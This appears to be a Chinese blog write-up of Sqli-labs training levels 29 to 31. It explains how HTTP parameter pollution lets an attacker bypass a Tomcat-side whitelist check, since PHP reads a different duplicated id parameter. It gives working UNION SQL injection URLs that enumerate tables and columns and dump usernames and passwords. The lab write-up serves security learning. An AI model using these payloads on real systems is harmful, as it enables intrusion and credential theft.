Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less29-31 Writeup

本文共计有2263个字

前言

这几关考察的是http参数渲染,通过多层服务器解析参数的不同进行注入查询。

奇怪的是,本题需要绕过的waf机制并不是在index.php中,在index.php直接注入即可查询:

http://127.0.0.1/sqli-labs-master/Less-29/?id=0' union select 1,database(),3--+

真正需要绕过的其实是login.php,所以我们研究的是login.php内容。

Less-29

首先看看login.php中的关键代码源码:

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
        ....
}

function whitelist($input)
{
 $match = preg_match("/^\d+$/", $input);
 if($match)
 {
 //echo "you are good";
 //return $match;
 }
 else
 { 
 header('Location: hacked.php');
 //echo "you are bad";
 }
}

function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}
	}
}

首先用$_SERVER[‘QUERY_STRING’]获取?之后的查询字符串,然后去java_implimentation()函数过滤,返回参数的值id1。然后将刚才所返回的id1参数的值给了函数whitelist,如果是数字则执行后续的对id(不是id1)的查询,否则跳转到hacked.php。

首先了解我们对id的查询经历了哪些过程:

《Sqli-labs Less29-31 Writeup》

假设我们发送一个请求:
http://127.0.0.1:86/less-29/login.php?id=1&id=2
对于这个请求,apache(php)解析最后一个参数,即显示id=2的内容,Tomcat(jsp)解析第一个参数,即显示id=1的内容。

本关中,客户端的请求首先经过tomcat服务器,tomcat会解析第一个参数(也即第一步的$_SERVER[‘QUERY_STRING’]),接下来tomcat去请求apache(php)服务器,而apache会解析最后一个参数(也即第二步的$id=$_GET[‘id’]),那么最终返回的肯定是apache处理的数据。因为在实际情况中,如果配置两层服务器的情况,往往我们会在第一台服务器做数据处理和过滤,其功能类似于一个waf。而正是因为前后两层服务器对参数解析的不同,我们就可使用HPP(参数污染)攻击,该攻击会对服务器和客户端造成威胁。

我们可以传入两个id,让第一个id为数字,它将会被tomat获取,这样即可成功绕过whitelist函数,而接下去的get获取到的将会是第二个id,所以我们把注入字符放在第二个id即可成功查询。

http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,database(),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-30

考察的内容相同,只是闭合符号不是单引号而是双引号。

Less-31

考察的内容相同,只是闭合符号不是单引号而是”)。

后记

http参数污染不是一种漏洞,但是在网站存在waf的情况下可以帮助攻击者绕过waf。简单的讲就是给相同名称参数赋上两个或两个以上的值,导致应用程序以意外方式解释值而出现漏洞。

我们把搜索的参数赋2个值看下:

百度:

《Sqli-labs Less29-31 Writeup》

必应:

《Sqli-labs Less29-31 Writeup》

百度取第一个而bing搜索取第二个参数,这是因为不同的网站(服务器)对相同参数的处理方式不同:

《Sqli-labs Less29-31 Writeup》

参考文章

文章1

 

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注